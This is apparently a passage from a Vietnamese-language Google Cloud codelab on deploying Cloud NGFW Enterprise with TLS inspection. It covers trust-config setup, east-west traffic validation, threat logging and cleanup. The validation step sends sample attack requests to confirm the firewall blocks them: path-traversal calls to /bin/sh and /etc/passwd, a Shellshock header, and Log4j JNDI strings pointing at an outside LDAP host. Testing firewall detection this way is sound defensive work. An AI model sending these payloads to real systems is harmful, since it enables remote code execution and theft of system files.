export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

Định cấu hình tệp YAML Cấu hình tin cậy. Tệp này chứa thông tin chi tiết về độ tin cậy, chẳng hạn như chứng chỉ CA:

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

Các lệnh trên đã bao gồm chứng chỉ CA gốc trong kho lưu trữ uy tín vì chứng chỉ máy chủ của bạn được ký bằng CA gốc. Điều này có nghĩa là tường lửa sẽ tin tưởng mọi chứng chỉ mà tường lửa nhận được đã được CA gốc của bạn ký – ngoài các CA công khai nếu chính sách TLS của bạn có excludePublicCaSet thành false.

Kiểm tra nội dung của cấu hình tin cậy.

cat trust_config.yaml 

Kết quả mẫu:

Hãy chú ý đến việc căn chỉnh thụt đầu dòng của chứng chỉ. Bạn phải tuân thủ chính xác định dạng này.

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

Nhập cấu hình tin cậy:

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

Cập nhật tệp YAML Chính sách TLS để thêm cấu hình tin cậy:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

Nhập Chính sách TLS mới nhất:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

12. Xác thực hoạt động kiểm tra TLS E/W

SSH trở lại máy khách để kiểm thử lưu lượng truy cập E/W bằng cấu hình tin cậy đã cập nhật:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Chạy yêu cầu TLS mẫu đến máy chủ:

curl https://$target_privateip --max-time 2

Nếu bạn vẫn nhận được kết quả bên dưới, vui lòng đợi các bản cập nhật được truyền tải.

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Kết quả đầu ra dự kiến:

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

Gửi lưu lượng truy cập thử nghiệm độc hại đến máy chủ:

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

Kết quả đầu ra dự kiến:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Không nhận được phản hồi nào theo đầu ra dự kiến bên dưới, xác nhận rằng các cuộc tấn công mẫu hiện đang bị chặn đối với lưu lượng truy cập Đông/Tây.

13. Ghi nhật ký

Chuyển đến mục Logging > Logs Explorer (Ghi nhật ký > Trình khám phá nhật ký) thông qua Cloud Console, nhập bộ lọc bên dưới rồi truy vấn nhật ký. Thay thế [PROJECT_ID] bằng project_id của bạn:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

Bạn sẽ thấy các mục nhật ký Cloud NGFW Enterprise tương tự như bên dưới:

5b68cc1063c0f4bd.png

Mở rộng các mục nhập nhật ký và lưu ý rằng các cuộc tấn công được gửi từ máy ảo ứng dụng đến máy chủ đã được xác định và chặn (Lỗ hổng thực thi mã từ xa Apache Log4j theo ảnh chụp màn hình bên dưới).

478f18f8481e90ed.png

Bạn đã triển khai thành công Cloud NGFW Enterprise có tính năng Kiểm tra TLS để chặn các yêu cầu độc hại.

Chuyển sang phần tiếp theo để xem các bước dọn dẹp.

14. Các bước dọn dẹp

Dọn dẹp chế độ thiết lập cơ bản

Xoá các phiên bản:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

Thực hiện các bước bên dưới nếu vai trò tagAdmin và tagUsers bị thay đổi:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

Xoá khoá và giá trị Thẻ:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Xoá Chính sách mạng của Tường lửa trên đám mây và mối liên kết:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Xoá Cloud Router và Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Xoá các địa chỉ IP dành riêng:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

SPG, mối liên kết và việc dọn dẹp TLS của Tường lửa trên đám mây

Xoá Nhóm hồ sơ bảo mật và Hồ sơ mối đe doạ theo thứ tự sau:

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

Xoá mối liên kết điểm cuối của Tường lửa trên đám mây:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

Xoá điểm cuối Tường lửa đám mây. Thao tác này có thể mất khoảng 20 phút:

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

Bạn có thể xác nhận rằng điểm cuối Cloud NGFW đã bị xoá bằng cách chạy lệnh bên dưới:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Trạng thái của điểm cuối phải cho biết:

STATE: DELETING

Khi hoàn tất, điểm cuối sẽ không còn xuất hiện trong danh sách nữa.

Xoá Chính sách TLS và Cấu hình tin cậy theo thứ tự sau:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

Tắt và xoá CA gốc và Nhóm CA:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

Dọn dẹp mạng con và VPC

Cuối cùng, hãy xoá mạng con và mạng VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

15. Xin chúc mừng!

Xin chúc mừng, bạn đã hoàn tất thành công lớp học lập trình Cloud NGFW Enterprise để kiểm tra TLS theo hướng Đông – Tây và hướng Bắc.